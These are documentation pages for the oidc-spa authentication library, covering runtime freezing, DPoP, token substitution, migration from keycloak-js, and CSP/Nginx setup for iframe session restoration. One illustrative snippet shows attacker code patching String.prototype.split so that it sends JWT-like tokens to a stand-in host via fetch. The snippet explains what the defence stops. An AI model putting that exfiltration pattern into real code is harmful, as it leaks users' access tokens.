<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
import { oidcSpa } from "oidc-spa/vite-plugin";

export default defineConfig({
    plugins: [
        // ...
        oidcSpa({
            // ...
<strong>            browserRuntimeFreeze: {
</strong><strong>                enabled: true,
</strong><strong>                // excludes: ["Promise", "fetch", "XMLHttpRequest"]
</strong><strong>            }
</strong>        })
    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual" %}
This defense is only effective if `oidcEarlyInit()` runs first. It must run before any other code is evaluated. If you call it from **oidc.ts** (instead of your entrypoint), the environment may already be compromised.

<pre class="language-typescript" data-title="src/main.ts"><code class="lang-typescript">import { oidcEarlyInit } from "oidc-spa/entrypoint";
<strong>import { browserRuntimeFreeze } from 'oidc-spa/browser-runtime-freeze';
</strong>
const { shouldLoadApp } = oidcEarlyInit({
    // ...
<strong>    securityDefenses: {
</strong><strong>      // ...
</strong><strong>      ...browserRuntimeFreeze({
</strong><strong>        //excludes: [ "fetch", "XMLHttpRequest", "Promise"]
</strong><strong>      })
</strong><strong>    }
</strong>});

if (shouldLoadApp) {
    import("./main.lazy");
}
</code></pre>

{% endtab %}
{% endtabs %}

## browserRuntimeFreeze.excludes

Your app may fail to start after enabling `browserRuntimeFreeze`.

You might see an exception like this:

<figure><img src="/files/3mTdmql0P3vjHRRAUWkd" alt=""><figcaption></figcaption></figure>

In this example, [Zone.js](https://www.npmjs.com/package/zone.js) tries to overwrite `window.fetch`. Other libraries can do the same. Telemetry libraries are common offenders (for example, [@microsoft/applicationinsights-react-js](https://www.npmjs.com/package/@microsoft/applicationinsights-react-js)).

You have two options:

1. Remove or replace the library that monkey-patches the runtime.\
   ([For example, can you go zoneless?](#user-content-fn-1)[^1])
2. Add an exception for a specific API.\
   For example, add `"fetch"` to `exclude` to allow patching `fetch`.

**How much is my security posture degraded by adding exclusion?**

Excluding `fetch` and `XMLHttpRequest` is usually **not too bad**. Although they are the first APIs attackers try to instrument, [DPoP](/security-features/dpop) and/or [Token Substitution](/security-features/token-substitution) makes those vectors much less useful.

The APIs that are most critical like `Function`, `String`, or `JSON` are very rarely instrumented by legitimate library so you shouldn't have to exclude them.

## Understanding What This Protects Against

In JavaScript, most built-in APIs can be altered at runtime.

Consider this attack:

```javascript
// Attacker's code, ran either via XSS or a compromised dependency.

const split_original = String.prototype.split;

String.prototype.split = function (...args) {

    if (this.match(/^[\w-]+\.[\w-]+\.[\w-]+$/)) {
        fetch(`https://attacker-server.net?likelyAccessToken=${this}`);
    }

    return split_original.apply(this, args);
    
}

// Legitimate code that runs later:

// Just like that, the token has been leaked.
const [header, payload, signature ] = accessToken.split(".");
```

`browserRuntimeFreeze` exists to prevent this.

It ensures that `.split()`, `fetch()`, or `Promise.then()` calls the real browser built-in. It blocks monkey-patched versions from dependencies or XSS.

With `browserRuntimeFreeze` enabled, `String.prototype.split = () => {}` throws at runtime.

[^1]: Note specific to Angular project and Zode.js: You can also move the import of "zone.js" in your main.js file, so the alteration happen before oidc-spa lock down the environement. This will prevent you from having to exclude anything.


# DPoP

OAuth 2.0 Demonstrating Proof-of-Possession

[Demonstrating Proof-of-Possession (DPoP)](https://auth0.com/docs/secure/sender-constraining/demonstrating-proof-of-possession-dpop) is a protocol-level security mechanism defined in [**RFC 9449**](https://datatracker.ietf.org/doc/html/rfc9449).

It ensures that **an access token alone is no longer sufficient** to access a resource server.\
Instead, each request must also include a cryptographic proof showing possession of a private key held by the client.

As a result, access tokens become **much less sensitive**:\
if a token leaks, it cannot be replayed from another device or context without the corresponding private key.

The protocol also provide replay attack protection.

DPoP [is supported by **Keycloak**](https://www.keycloak.org/2025/10/dpop-support-26-4) and an increasing number of other identity providers and resource server stacks.

***

## Enabling DPoP

oidc-spa exposes a single configuration option to control DPoP behavior:

* **`"auto"`**: enable DPoP only if supported by the authorization server, otherwise fall back to classic Bearer tokens (Recommended)
* **`"enforced"`**: require DPoP support; oidc-spa will refuse to start if the authorization server does not support it. [See support history in Keycloak](https://www.keycloak.org/2025/10/dpop-support-26-4).

DPoP isn't enabled by default like PKCE is because many resource servers still can’t validate DPoP-bound tokens.\
We keep things working out of the box with older backends, until DPoP support becomes a baseline expectation for resource servers.

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recomended approach is to use oidc-spa's Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
import { oidcSpa } from "oidc-spa/vite-plugin";

export default defineConfig({
    plugins: [
        // ...
        oidcSpa({
            browserRuntimeFreeze: { enabled: true }, // Recommended
<strong>            DPoP: { enabled: true, mode: "auto" }
</strong>        })
    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual" %}

<pre class="language-typescript" data-title="src/main.ts"><code class="lang-typescript">import { oidcEarlyInit } from "oidc-spa/entrypoint";
import { browserRuntimeFreeze } from 'oidc-spa/browser-runtime-freeze';
<strong>import { DPoP } from 'oidc-spa/DPoP';
</strong>
const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/",
    securityDefenses: {
        ...browserRuntimeFreeze(), // Recommended
<strong>        ...DPoP({ mode: "auto" })
</strong>  },
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
</code></pre>

{% endtab %}
{% endtabs %}

{% hint style="info" %}
NOTE: If your app [talks to different resource servers](/features/talking-to-multiple-apis-with-different-access-tokens) and one resource server does not suppor DPoP yet, you can opt out from DPoP on a client by client basis by using `createOidc({ disableDPoP: true })`.
{% endhint %}

***

## What does enabling DPoP require?

Enabling DPoP in oidc-spa does **not** require changes elsewhere in your stack:

* **Identity Provider (**[**Keycloak**](#user-content-fn-1)[^1] **or other)**\
  No configuration change is required.\
  With `mode: "auto"`, If the authorization server supports DPoP, oidc-spa will detect and use it. Note that Microsoft EntraID does not support DPoP yet.
* **Frontend codebase**\
  No changes are required.\
  Authenticated requests continue to use `Authorization: Bearer <access_token>` and are automatically upgraded at runtime.
* **Backend API / resource server**\
  No code changes are required.\
  Just make sure your backend stack can validate and decode **DPoP-bound** access tokens.\
  This is supported by **Spring Security**, and of course by [**oidc-spa/server**](/integration-guides/backend-token-validation).\
  There is nothing to “enable” on the resource server side.\
  If your RS supports DPoP, correct OAuth 2.0 token validation will reject DPoP-bound tokens when the DPoP proof is missing or invalid.\
  If your RS does not support DPoP, calls will simply fail, so there is no false sense of security.

In other words, **this configuration option is the only change required to securely enable DPoP support across your stack**.

## How it works

When DPoP is enabled, oidc-spa automatically **upgrades authenticated HTTP requests** sent by your application.

You continue sending requests as usual:

{% code title="Request headers (written by your code)" %}

```
Authorization: Bearer <access_token>
```

{% endcode %}

At runtime, oidc-spa transparently transforms the request into:

{% code title="Request headers (sent over the wire)" %}

```
Authorization: DPoP <access_token>
DPoP:          <DPoP proof JWT>
```

{% endcode %}

In addition, oidc-spa automatically:

* tracks and reuses DPoP nonces issued by resource servers
* retries requests when a nonce is required

To achieve this transparently, oidc-spa installs **`fetch()` and `XMLHttpRequest` interceptors**:

* via the Vite plugin, or
* during the execution of `oidcEarlyInit()`

From your application’s point of view, **nothing changes**:\
you keep using `Authorization: Bearer <access_token>`, and oidc-spa handles DPoP internally.

[^1]: DPoP is officially supported starting with version 26.4.\
    It's available as a preview feature in older versions.


# Token Substitution

### Enabling the defence

{% tabs %}
{% tab title="Vite Plugin" %}

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
import { oidcSpa } from "oidc-spa/vite-plugin";

export default defineConfig({
    plugins: [
        // ...
        oidcSpa({
            // ...
            browserRuntimeFreeze: { enabled: true, /*excludes: [...]*/ },//Recommended
<strong>            tokenSubstitution: {
</strong><strong>                enabled: true,
</strong><strong>                // Optional, see below
</strong><strong>                trustedExternalResourceServers: [
</strong><strong>                    "*.{{location.hostname}}",
</strong><strong>                    "s3.amazonaws.com"
</strong><strong>                ]
</strong><strong>            }
</strong><strong>        })
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual" %}

<pre class="language-typescript" data-title="src/main.ts"><code class="lang-typescript">import { oidcEarlyInit } from "oidc-spa/entrypoint";
import { browserRuntimeFreeze } from 'oidc-spa/browser-runtime-freeze';
<strong>import { tokenSubstitution } from 'oidc-spa/token-substitution';
</strong>
const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/",
    securityDefenses: {
        ...browserRuntimeFreeze(/*{ excludes: [...] }*/), // Recommended
<strong>        ...tokenSubstitution({
</strong><strong>           // Optional, see below
</strong><strong>           trustedExternalResourceServers: [
</strong><strong>               `*.${location.hostname}`,
</strong><strong>               "s3.amazonaws.com"
</strong><strong>           ]
</strong><strong>        })
</strong>    }
});

if (shouldLoadApp) {
    import("./main.lazy");
}
</code></pre>

{% endtab %}
{% endtabs %}

### Understanding the defence

Token Substitution is an optional defence against token exfiltration during:

* a successful NPM supply-chain attack
* an XSS compromise

When enabled, any access token your app can read is replaced with a harmless “substituted” token.\
The substituted token **cannot** be used to call a resource server.

Example:

```typescript
const accessToken = await oidc.getAccessToken();
```

[Assuming your Authorization Server issues, JWT access token](#user-content-fn-1)[^1], you’ll get a string shaped like:

`<real header>`<mark style="color:orange;">`.`</mark>`<real payload>`<mark style="color:orange;">`.`</mark><mark style="color:yellow;">`<placeholder signature>`</mark>

The header and payload are real and unaltered.\
The signature is replaced with a placeholder, so validation fails.

#### What this blocks

If an attacker exfiltrates the substituted token, they can’t use it against your resource servers.\
Any validation attempt fails because the signature is fake.

#### How requests still work

oidc-spa restores the real signature **right before the request leaves the browser**.\
This happens inside hardened interceptors installed during early init (via the Vite plugin or `oidcEarlyInit`).

Covered APIs:

* `fetch`
* `XMLHttpRequest`
* `WebSocket`
* `navigator.sendBeacon`
* `fetchLater`

The token can be in headers, body, or URL.\
The interceptor replaces it transparently.

It also blocks authenticated requests to untrusted hosts.

### Compared to DPoP

Posture:

* [DPoP](/security-features/dpop): limits the impact of a leaked token.
* Token Substitution: Attempts to prevent tokens from being leaked in the first place.

Nature:

* DPoP is a protocol-level RFC. It’s standardised and crypto-based.
* Token Substitution is an adapter-level technique. It’s oidc-spa specific.\
  It’s practical hardening, not a cryptographic guarantee.\
  It can’t be proven “bulletproof”. New bypasses may be found.

Overlap:

* Both reduce the damage from a successful supply-chain or XSS attack.

DPoP is generally the stronger defence but in practice **but**:

* not all authorisation servers and resource servers support DPoP yet
* [WebSocket is out of scope for DPoP](/integration-guides/backend-token-validation/websocket)
* some token exchanges require the access token in the request body (often outside DPoP’s coverage), e.g. AWS STS or [Vault-style exchanges](/features/talking-to-multiple-apis-with-different-access-tokens#using-multiple-clients-in-oidc-spa)

If any of these apply, enabling Token Exfiltration still improve your security posture significantly.

### Requirements (can I enable it?)

The requirements are strict. Not every app can enable it.

You need:

* To enable [Browser Runtime Freeze](/security-features/browser-runtime-freeze).\
  If runtime integrity can’t be guaranteed, this defence can be bypassed.\
  That being said the defence remains effective even if you had to exclude fetch and XMLHttpRequest. (`browserRuntimeFreeze.exclude = ["fetch", "XMLHttpRequest"]`)
* If you call resource servers outside your site (example: `s3.amazonaws.com`), you must know their hostnames at build time (or synchronously at runtime).
* You must not need to display the raw access token to the user.\
  Example: no “copy access token” button.

### trustedExternalResourceServers

Use this when your app needs to call resource servers **outside** your host.

By default, oidc-spa only allows authenticated requests to your own origin (`location.hostname`) so you can call `fetchWithAuth("/api/todos")` with configuring anything.

If your code tries to send an authenticated request to another host, it gets blocked.

#### What to put in the list

Each entry is a **hostname pattern** (not a URL).

Supported shapes:

* Exact host: `"s3.amazonaws.com"`
* Any subdomain: `"*.my-company.com"`

You don’t need to include `location.hostname`. It’s always allowed.

#### Example

If you want to allow any subdomain of your base domain (same site) plus S3 STS:

```typescript
trustedExternalResourceServers: [
  "*.{{location.hostname.split('.').slice(-2).join('.')}}",
  "s3.amazonaws.com"
]
```

At runtime, if your app is hosted at `dashboard.my-company.com`:

```typescript
trustedExternalResourceServers: [
  "*.my-company.com",
  "s3.amazonaws.com"
]
```

oidc-spa will allow authenticated requests to hosts matching these patterns. Any other host is treated as untrusted.

{% hint style="info" %}
Host filtering is disabled in dev server environments:

* `localhost`
* `127.0.0.1`
* `[::]`
  {% endhint %}

[^1]: If your IdP issues opaque tokens, you'll just receive a placeholder string.


# Migrating from Keycloak-js

Polyfilling keycloak-js with oidc-spa

If you're using [keycloak-js](https://www.npmjs.com/package/keycloak-js) in an existing codebase, you can migrate to `oidc-spa` without a painful rewrite.\
`oidc-spa` ships a `keycloak-js` polyfill. It’s a drop-in replacement.

It's not an exhaustive poliffils, some knobs have been intentionally removed to align with current best practices. For example, this implementation of the keycloak-js surface won't let you use the implicit or hybrid flow and won't let you disable PKCE.

<details>

<summary><strong>Why switch?</strong></summary>

**Security**

* [Enabling DPoP](/security-features/dpop): Keycloak, [starting with 26.4](https://www.keycloak.org/2025/10/dpop-support-26-4), officially supports DPoP. `keycloak-js` doesn’t.
* [Browser Runtime Freeze](/security-features/browser-runtime-freeze)
* (Optional) [Token Substitution](/security-features/token-substitution)
* Static valid redirect URIs: `keycloak-js` forces you to allow wildcard redirects like `https://dashboard.my-company.com/*`. This is [a known attack vector](https://securityblog.omegapoint.se/en/writeup-keycloak-cve-2023-6927/). With `oidc-spa`, the only valid redirect URI is your app’s origin, for example `https://dashboard.my-company.com/`.
* Remove all the unsafe knobs that where present in keycloak-js. No footgun.

**UX**

* [Auto Logout](/features/auto-logout): optional “You will be logged out in 30…29…” overlay. No more “submit → redirect to login” because the Keycloak session expired.
* Login/Logout propagation across tabs.
* Much faster and relyable SSO, especially in non ideal condition (iframe blocked / Keycloak not on same site, slow network...)

</details>

{% stepper %}
{% step %}

### Update dependency

Replace `keycloak-js` with `oidc-spa` in your `package.json`.

{% code title="package.json" %}

```diff
 {
     dependencies: {
-        "keycloak-js": "...",
+        "oidc-spa": "..."
     }
 }
```

{% endcode %}
{% endstep %}

{% step %}

### Update your codebase

```diff
-import Keycloak from "keycloak-js";
+import { Keycloak } from "oidc-spa/keycloak-js";
-import KeycloakAuthorization from "keycloak-js/authz";
+import { KeycloakAuthorization } from "oidc-spa/keycloak-js-authz";

 // ...

 await keycloak.init({
     onLoad: 'check-sso',
-    silentCheckSsoRedirectUri: `${location.origin}/silent-check-sso.html`,
     //NOTE: fragment will be used. Conflict with your app logic routing
     //is structuraly impossible in oidc-spa so there is no reason to 
     //support query.
-    responseMode: "query",
     // ...
 });
 
// In oidc-spa the auth state is immutable and can be either:
// - Not established yet:   keycloak.didInitialize is false
// - User is logged in:     keycloak.authenticated is true
// - User is not logged in: keycloak.authenticated is false
// The value of keycloak.authenticated will never change without a full app reload.
// If you want to redirect to a specific page after logout call:
// keycloak.logout({ redirectUri: "/bye" })
-keycloak.onAuthLogout(()=> {});

// With oidc-spa you'll never end-up in a state where calling this makes sense.
-keycloak.clearToken();

// oidc-spa handles this internally.
-keycloak.onAuthRefreshError(); 
```

Delete **public/silent-check-sso.html**.
{% endstep %}

{% step %}

### (OPTIONAL) Fix your Valid Redirect URIs

Log in to the Keycloak Admin Console. Open your client configuration.

```diff
 Valid Redirect URIs:
  http://localhost*
- https://dashboard.my-company.com/*
- https://dashboard.my-company.com/silent-check-sso.html
+ https://dashboard.my-company.com/ (Note: The trailing `/` is important)
```

{% endstep %}

{% step %}

### Enable Security Features

If you're moving to `oidc-spa`, you likely want to [enable DPoP and other security features](/security-features/overview).

Pick the setup option that best fits your project:

{% tabs %}
{% tab title="Vite Plugin" %}
If you're in a Vite project, the recommended approach is to use `oidc-spa`’s Vite plugin.

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">import { defineConfig } from "vite";
<strong>import { oidcSpa } from "oidc-spa/vite-plugin";
</strong>
export default defineConfig({
    plugins: [
        // ...
<strong>        oidcSpa({
</strong><strong>            // See: https://docs.oidc-spa.dev/v/v10/security-features/browser-runtime-freeze
</strong><strong>            browserRuntimeFreeze: {
</strong><strong>                enabled: true
</strong><strong>                //excludes: [ "fetch", "XMLHttpRequest"]
</strong><strong>            },
</strong><strong>            // See: https://docs.oidc-spa.dev/v/v10/security-features/dpop
</strong><strong>            DPoP: {
</strong><strong>                enabled: true,
</strong><strong>                mode: "auto"
</strong><strong>            }
</strong><strong>        })
</strong>    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual - Recommended" %}
Pick this approach if:

* You're not in a Vite project (or want more control) and
* Your app has a single client entrypoint.

***

Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";
import { browserRuntimeFreeze } from 'oidc-spa/browser-runtime-freeze';
import { DPoP } from 'oidc-spa/DPoP';

const { shouldLoadApp } = oidcEarlyInit({ 
    BASE_URL: "/" // The path where your app is hosted
                  // If applicable you should use `process.env.PUBLIC_URL`
                  // or `import.meta.env.BASE_URL`.
                  // This is not an option. There's only one good answer.
    securityDefenses: {
        // See: https://docs.oidc-spa.dev/v/v10/security-features/browser-runtime-freeze
        ...browserRuntimeFreeze({
            //excludes: [ "fetch", "XMLHttpRequest" ]
        }),
        // See: https://docs.oidc-spa.dev/v/v10/security-features/dpop
        ...DPoP({ mode: 'auto' })
    }
});

if( shouldLoadApp ){
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the same module where you call `new Keycloak()`.

Note: this option [downgrades the security posture of your app](/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches. It can also conflict with some client-side routing libraries.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">import { Keycloak } from "oidc-spa/keycloak-js";
<strong>import { oidcEarlyInit } from "oidc-spa/entrypoint";
</strong><strong>import { browserRuntimeFreeze } from 'oidc-spa/browser-runtime-freeze';
</strong><strong>import { DPoP } from 'oidc-spa/DPoP';
</strong>
// Should run as early as possible.  
<strong>oidcEarlyInit({ 
</strong><strong>    BASE_URL: "/" // The path where your app is hosted
</strong><strong>                  // If applicable you should use `process.env.PUBLIC_URL`
</strong><strong>                  // or `import.meta.env.BASE_URL`.
</strong><strong>                  // This is not an option. There's only one good answer.
</strong><strong>    securityDefenses: {
</strong><strong>        // See: https://docs.oidc-spa.dev/v/v10/security-features/browser-runtime-freeze
</strong><strong>        ...browserRuntimeFreeze({
</strong><strong>            //excludes: [ "fetch", "XMLHttpRequest" ]
</strong><strong>        }),
</strong><strong>        // See: https://docs.oidc-spa.dev/v/v10/security-features/dpop
</strong><strong>        ...DPoP({ mode: 'auto' })
</strong><strong>    }
</strong><strong>});
</strong>
const keycloak = new Keycloak({ /* ... */ });
</code></pre>

{% endtab %}
{% endtabs %}

You can enable `keycloak.init({ enableLogging: true })` to see a console report for the security features.
{% endstep %}

{% step %}

### (OPTIONAL) Display a Warning Before Auto Logout

`oidc-spa` implements auto logout by respecting the idle session lifetime you configured in Keycloak.

To warn the user when they are about to be logged out due to inactivity, you can show an overlay like:\
“Are you still here? Your session will expire in 30…29…”

Get the underlying `oidc-spa` core object like this:

```typescript
import { Keycloak } from "oidc-spa/keycloak-js";

const keycloak = new Keycloak({ ... });

await keycloak.init({ 
    ...
    
    // Optionally, customize the behavior of where the user gets redirected
    // when their session expires.  
    // autoLogoutParams: { redirectTo: "current page" } // Default
    // autoLogoutParams: { redirectTo: "home" }
    // autoLogoutParams: { redirectTo: "specific url", url: "/your-session-has-expired" }
    // autoLogoutParams: { 
    //      redirectTo: "specific url", 
    //      get url(){ return `/your-session-has-expired?return_url=${encodeURIComponent(location.href)}`; }
    // }
});

// You can only access this property after keycloak.init() has resolved.
const oidc = keycloak.oidc;
```

Then implement the overlay as described here: [Displaying a Warning Before Auto Logout](/features/auto-logout#displaying-a-warning-before-auto-logout).
{% endstep %}

{% step %}

### You're Done 🎉

If you run into some issue do not hesitate to [reach out on Discord](https://discord.gg/mJdYJSdcm4).
{% endstep %}
{% endstepper %}


# Third‑party cookies and session restoration

{% hint style="success" %}

> **You’re safe by default** Even in the worst‑case scenario where your authorization server’s cookies are blocked by the browser, `oidc‑spa` automatically falls back to a near‑seamless full‑page redirect. **No configuration required.**
>
> That said, if you want the **best possible user experience**, it’s worth understanding what’s going on under the hood and configuring your domains and headers accordingly.
> {% endhint %}

This page explains why modern browsers often refuse to send cookies in third‑party contexts, how that impacts silent session restoration in a frontend-centric auth model, and how to configure your domain and security headers so that `oidc‑spa` can deliver a seamless UX.

> TL;DR
>
> 1. Align your application and authorization endpoint under a common parent domain (same site) so the browser treats your IdP as first‑party to your app.
> 2. Prefer iframe‑based restoration when possible, it's enabled by default when your IdP is on the same site as your app.
> 3. If your CSP completely forbids iframes and you have no way to tweak them or if the IdP must live on a foreign domain, explicitly use full‑page redirects.

***

### Why third‑party cookies matter here

Traditional web apps keep a session on your backend. Your browser sends the backend’s own cookies on every request, so restoring the user session is trivial.

With `oidc‑spa`, your frontend talks directly to the authorization server. When a user revisits your app, `oidc‑spa` first tries to learn whether the user still has a valid session **at the IdP** without prompting for credentials again. It does so by contacting the authorization endpoint silently. If the browser **sends the IdP’s cookies** in that context, the IdP can attest that the user is still signed in and return the data needed to rebuild local identity.

If the browser considers the IdP **third‑party** to your app, it often refuses to attach those cookies in an embedded context (iframe). oidc-spa has to use full‑page redirect in those configurations. It happens so fast that it's hardly perceivable, however iframe session restoration still yields the best performance.

***

### Make your IdP first‑party: share a parent domain

The key is to host your application and your authorization endpoint under the **same registrable (parent) domain - this is commonly referred to as "same site"**.

#### ✅ Examples where the IdP is *not* third‑party - same site

* App: `www.my-company.com`, `dashboard.my-company.com`, or `my-company.com/dashboard`
* Authorization endpoint: `https://auth.my-company.com/realms/oidc-spa/protocol/openid-connect/auth`
* **Parent domain:** `my-company.com`

#### ❌ Examples where the IdP *is* third‑party

* App: `my-company.com`
* Authorization endpoints on unrelated domains:
  * `https://my-keycloak.com/realms/oidc-spa/protocol/openid-connect/auth` *(configurable; you choose where to host)*
  * `https://login.microsoftonline.com/<tenant>/oauth2/v2.0/authorize` *(configurable via External ID / B2C custom domain)*
  * `https://<tenant>.us.auth0.com/authorize` *(configurable via Auth0 Custom Domains)*
  * `https://accounts.google.com/o/oauth2/v2/auth` *(not configurable)*

***

### How `oidc‑spa` restores sessions

`oidc‑spa` supports two session restoration strategies. You choose (or let the library auto‑choose) using `sessionRestorationMethod`.

{% tabs %}
{% tab title="Vite Plugin" %}

<pre class="language-typescript" data-title="vite.config.ts"><code class="lang-typescript">export default defineConfig({
    plugins: [
        // ...
        oidcSpa({
<strong>            // "auto" (default) | "iframe" | "full page redirect"
</strong><strong>            sessionRestorationMethod: "auto"
</strong>        }),

    ]
});
</code></pre>

{% endtab %}

{% tab title="Manual Setup" %}

```ts
bootstrapOidc({ // or createOidc({
  // "auto" (default) | "iframe" | "full page redirect"
  sessionRestorationMethod: "auto"
});
```

{% endtab %}
{% endtabs %}

#### "iframe" (silent, seamless)

* The app opens an **invisible iframe** to the authorization endpoint with parameters that request a silent check.
* If the IdP’s cookies are present, the IdP returns enough data for the app to rebuild identity without leaving the page.
* **Best UX.** Requires that the browser can send IdP cookies in the iframe and that your app’s security headers allow same‑origin iframes.

#### "full page redirect" (silent but navigational)

* The app performs a quick top‑level redirect to the authorization endpoint, which always carries IdP cookies.
* The redirect returns immediately to your app with the information needed to rebuild identity.
* **Works everywhere** but is about 30% slower and the url flashes auth response info briefly.
* **Multiple OIDC clients in one page:** to avoid a redirect loop, the app may need to persist state between reloads (for example, tokens or a minimal session hint) which weakens the “no persistence” posture.

#### "auto" (default and recommended)

* `oidc‑spa` selects the best method at runtime. If your app and IdP share a parent domain and iframes are permitted, it uses "iframe". Otherwise it uses "full page redirect".

> **Migration note**
>
> The old `noIframe` option is **deprecated**. Use `sessionRestorationMethod: "full page redirect"` to get equivalent behavior.

***

### When iframes are blocked by your CSP

In that case, the question is:

**Are you in control of your server configuration, can you change the HTTP response headers?**

{% tabs %}
{% tab title="Yes" %}
If you can edit your server config, then you can relax your CSP just enough to allow iframe in the context of SSO:

{% content-ref url="/pages/L2FgCwqcTwwPph2YPsgt" %}
[CSP Configuration](/resources/csp-configuration)
{% endcontent-ref %}
{% endtab %}

{% tab title="No" %}
If your server is what it is and you have no control over it, then your only option is to force `oidc-spa` to use full page redirect to restore the user's session:

```ts
sessionRestorationMethod: "full page redirect"
```

{% endtab %}
{% endtabs %}

### Local development

When your app runs on `localhost` and your IdP lives on a different domain, which is almost always the case unless you run Keycloak locally.

The browser treats the IdP as third‑party so oidc-spa will fallback to full page redirect. To run your app in development like you would in prod you need to:

1. Set `sessionRestorationMethod: "iframe"` explicitly to force oidc-spa to use iframe.
2. Allow third-party cookies in localhost:

<figure><img src="/files/BDYonJohLNfOLp9zeh78" alt="" width="348"><figcaption></figcaption></figure>

***

### SaaS IdPs and custom domains

Most managed IdPs let you put their endpoints behind your domain. This is crucial to avoid third‑party treatment.

* **Auth0**: supports **Custom Domains** for the authorization and token endpoints.
* **Microsoft Entra External ID / Azure AD B2C**: supports **Custom URL domains** for user flows and policies, which cover the authorization endpoint.
* **Clerk**: supports **custom and satellite domains** and proxying its Frontend API so your app interacts under your domain.
* **Google**: the authorization endpoint is always `accounts.google.com`. You cannot host it under your domain. If you need Google login, consider fronting multiple IdPs with an aggregator like Keycloak, Auth0 or Clerk that itself lives under your domain.

***

### UX comparison

A short video that shows the UX difference between iframe‑based restoration and a full‑page redirect:

(This video was recorded a while ago, performance is **much** better now)

{% embed url="<https://www.youtube.com/watch?v=55sZ7XSWh4Q>" %}

***

### Decision guide

1. Can your app and IdP share a parent domain?
   * **Yes** → Use `sessionRestorationMethod: "auto"` (will pick "iframe").
   * **No** → Use `"full page redirect"`.
2. Do your security headers allow self‑iframes?
   * **Yes** → You are set.
   * **No** → Either relax to `frame-ancestors 'self'` or stick to `"full page redirect"`.
3. Do you host multiple OIDC clients in one page?
   * **Yes** → Strongly prefer iframe restoration to avoid redirect loops and persistence.

***

### API reference

```ts
/**
 * Controls how session restoration is handled.
 * "auto" picks the best strategy at runtime.
 */
sessionRestorationMethod?: "iframe" | "full page redirect" | "auto";

/**
 * @deprecated Use `sessionRestorationMethod: "full page redirect"` instead.
 */
noIframe?: boolean;
```


# CSP Configuration

In this page we will see how to relax your Content-Security-Policy just enough so session restoration using iframe is possible.

## CSP rules that break session restoration via iframe

Silent session restoration via iframe is **optional**, oidc-spa can restore user session just fine using full page redirect.

*If that is so, why does oidc-spa even attemt to use iframe?*

* For performance: iframe based session resoration is a little faster than full page redirect (not much but still noticable).
* For security **if and only if** [your app talks to more than one resource server](/features/talking-to-multiple-apis-with-different-access-tokens) (which is **not** the case in most apps), because "multiple oidc-client" + "no iframe SSO" = "oidc-spa needs to persist tokens in session storage".

***

### **1) Your app cannot iframe the IdP**

This happens when:

* `X-Frame-Options: DENY`
* `Content-Security-Policy: frame-src 'none'`
* `Content-Security-Policy: frame-src 'self'`
* `Content-Security-Policy: frame-src 'self' https://not-my-idp.com`

If the IdP domain is missing from `frame-src`, the iframe cannot load → silent SSO cannot run.

***

### **2) Your app cannot be iframed by itself**

Silent SSO needs to temporarily load your app inside an iframe (when the IdP redirects back with the authorization response).

If you block this:

* `Content-Security-Policy: frame-ancestors 'none'`

…then the IdP cannot redirect to your app inside the iframe → silent SSO fails.

***

## How to fix it

To restore silent SSO:

1. **Remove** any `X-Frame-Options` header (deprecated).
2. **Allow** the IdP domain in `frame-src`.
3. **Allow** your app to frame itself using `frame-ancestors 'self'`.

Example:

```
Content-Security-Policy:
  frame-src https://auth.my-domain.com;
  frame-ancestors 'self';
  ...other CSP directives...
```

Tip: Instead of hardcoding the IdP domain, allow *sibling subdomains* of your app’s domain.\
This stays aligned with same-site cookie rules and avoids config drift between environments.

The Nginx configuration below demonstrates this pattern.

***

## Canonical Nginx configuration

This is a portable, production-grade Ngnix config for an SPA with "as strict as can be" CSPs that still enable oidc-spa to use iframe for performing session restoration.

Of course you can relax thoses CSP to meet the specific need of your app. This is just an example of what you would use if you use no service/web workers and don't have any inline script.

<pre class="language-nginx" data-title="ngnix.conf"><code class="lang-nginx"># Assuming nginxinc/nginx-unprivileged

# ============================================================
# Dynamic base domain extraction (per request)
# Example: dashboard.my-company.com -> my-company.com
# ============================================================
<strong>map $host $base_domain {
</strong><strong>    ~^(?&#x3C;sub>.+)\.(?&#x3C;domain>[^.]+\.[^.]+)$  $domain;
</strong><strong>    default                                 $host;
</strong><strong>}
</strong>
server {
    listen 8080;

    # -------------------------
    # Gzip
    # -------------------------
    gzip on;
    gzip_vary on;
    gzip_min_length 1024;
    gzip_proxied expired no-cache no-store private auth;
    gzip_types
        text/plain text/css text/xml text/javascript
        application/javascript application/x-javascript application/xml;
    gzip_disable "MSIE [1-6]\.";

    # -------------------------
    # Root and SPA routing
    # -------------------------
    root /usr/share/nginx/html;
    index index.html;

    location / {
        try_files $uri $uri/ /index.html;
    }

    # -------------------------
    # Vite hashed assets (cache 1 year)
    # -------------------------
    location ^~ /assets/ {
        try_files $uri =404;
        expires 1y;
        access_log off;
        add_header Cache-Control "public" always;
    }

    # -------------------------
    # HTML (never cached) + CSP
    # -------------------------
    location ~* \.html$ {
        try_files $uri =404;
        expires -1;
<strong>        add_header Content-Security-Policy "
</strong><strong>            frame-src https://*.$base_domain;
</strong><strong>            frame-ancestors 'self';
</strong>            object-src 'none';
            worker-src 'none';
            script-src 'self' 'strict-dynamic';
        " always;
    }

    # -------------------------
    # JSON / TXT (never cached)
